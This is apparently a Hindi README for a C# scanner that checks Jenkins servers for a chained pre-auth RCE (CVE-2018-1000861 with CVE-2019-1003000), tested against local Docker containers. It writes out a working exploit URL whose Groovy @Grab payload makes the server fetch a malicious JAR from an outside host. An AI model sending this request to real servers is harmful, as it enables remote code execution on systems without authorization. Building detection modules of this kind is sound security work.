
एक C# मॉड्यूल यह पता लगाने के लिए है कि क्या कोई Jenkins सर्वर CVE-2019-1003000 में पाई गई RCE भेद्यता के प्रति संवेदनशील है (CVE-2018-1000861 के साथ जोड़ा गया प्री-ऑथ RCE के लिए)
CVE-2018-1000861 और CVE-2019-1003000 को जोड़कर, मैंने Jenkins CI पर Pre-Auth RCE का परीक्षण करने के लिए एक मॉड्यूल बनाया। शुरू में, मैं यूज़रनेम और पासवर्ड और जॉब नाम के साथ भेद्यता का पता लगाने की कोशिश कर रहा था; हालांकि, मैंने सोचा कि दोनों भेद्यताओं को जोड़कर इस चुनौती का सामना करना अधिक यथार्थवादी और दिलचस्प होगा।
अपने Windows, Linux, या macOS मशीन पर Visual Studio या .NET Core फ्रेमवर्क स्थापित होना चाहिए।
docker pull jenkins/jenkins:2.121mvDir.sh चलाएं
./mvDir.sh के रूप में चलाएं
chmod +x mvDir.sh चलाएं। यदि यह अभी भी काम नहीं करता है, तो आप इसे bash mvDir.sh के रूप में चला सकते हैं./run_vuln_jenkins.sh चलाएं
http://localhost:8080)./run_updated_jenkins.sh या bash run_updated_jenkins.sh चलाने से एक सुरक्षित, अद्यतित जेनकिंस सर्वर प्रारंभ होगा जो http://localhost:8000 पर चल रहा है और इसके विरुद्ध मॉड्यूल चलाने से पता चलेगा कि यह सुरक्षित है और CVE-2018-1000861 के साथ CVE-2019-1003000 के लिए भेद्य नहीं है।मैंने जो प्रारंभिक योजना बनाई थी, वह समाधान तक पहुंचने के लिए एक अच्छा ढांचा था; हालांकि, जैसे-जैसे मैं आगे बढ़ा, मैंने पाया कि मैं बहुत सारे काम को आवश्यकता से अधिक जटिल बना रहा था। मैंने शुरू में RCE साबित करने के लिए अपनी होस्ट मशीन पर एक रिवर्स शेल लॉन्च करने के लिए एक bash स्क्रिप्ट बनाई थी। हालांकि, इस चुनौती का लक्ष्य यह साबित करना था कि भेद्यता मौजूद है। इस उदाहरण में, यह साबित करना था कि Jenkins संस्करण 2.121.2 पर निम्नलिखित प्लगइन्स के साथ RCE लॉन्च किया जा सकता है: Pipeline: Declarative Plugin से 1.3.4, Pipeline: Declarative Extension Points API से 1.3.4, Pipeline: Groovy Plugin से 2.61, Script Security Plugin से 1.49.
मुझे वास्तव में एक रिवर्स शेल बनाने और यह दिखाने की आवश्यकता नहीं थी कि मैं मनमानी कमांड लॉन्च कर सकता हूं। इस वजह से, इसे Windows और .nix आधारित ऑपरेटिंग सिस्टम दोनों पर पहचानना आसान हो जाता है। GET अनुरोध करने के बाद, मैंने पाया कि पेज सफलता के रूप में चिह्नित स्थिति के साथ प्रतिक्रिया करेगा या यह एक त्रुटि संदेश प्रिंट करेगा। हालांकि यह सुनिश्चित करने के लिए कि स्थिति सफलता गलत सकारात्मक नहीं थी, मैंने अपने होस्ट पर python -m SimpleHTTPSever 80 का उपयोग करके एक वेब सर्वर स्थापित किया और निर्दिष्ट दुर्भावनापूर्ण JAR फ़ाइल (जो payload फ़ोल्डर में मिल सकती है) के लिए कस्टम GET अनुरोध लॉन्च करने पर, यह देखा जा सकता है कि GET अनुरोध स्थानीय मशीन पर मिली jar फ़ाइल के सही पथ के साथ 200 स्थिति कोड के साथ प्रतिक्रिया करता है, जिससे भेद्यता के अस्तित्व को साबित किया जा सकता है। नीचे GET अनुरोध और संबंधित प्रतिक्रिया का एक नमूना है। विभिन्न फ़ाइल पथ (tw/ और www/) प्रत्येक में दुर्भावनापूर्ण jar है; वे केवल अलग-अलग पथ हैं जिन पर अनुरोध इसे खोजने के लिए नेविगेट कर रहा है।
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

dotnet buildमॉड्यूल चलाने के लिए: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http:// को भूलना नहीं महत्वपूर्ण है अन्यथा प्रोग्राम HTTP अपवाद फेंकेगा और आपको इसे फिर से चलाना होगा।पैरामीटर विकल्प
| संक्षिप्त | लंबा | विवरण |
|---|---|---|
| -uname | --username | जेनकिंस उपयोगकर्ता नाम |
| -p | --password | जेनकिंस उपयोगकर्ता पासवर्ड |
| -u | --url | लक्ष्य url |
| -ip | --ip address | आईपी पता |
| -v | --verbose | विस्तृत आउटपुट |
-p, -uname अभी तक लागू नहीं किए गए हैं क्योंकि मैंने केवल प्री-ऑथ RCE का पता लगाने के लिए मॉड्यूल बनाया था, क्योंकि मुझे लगा कि यह Detectify के लिए अधिक यथार्थवादी होगा क्योंकि मुझे लगता है कि कंपनी का स्कैनर केवल एक लक्ष्य डोमेन पर इंगित किया जाएगा (और पासवर्ड और उपयोगकर्ता नाम जैसे कस्टम पैरामीटर नहीं होंगे क्योंकि यह किसी अन्य कंपनी के लिए दूसरे को देने के लिए असुरक्षित होगा भले ही वह अपनी सुरक्षा स्थिति में सुधार करने में मदद करने का प्रयास कर रही हो)।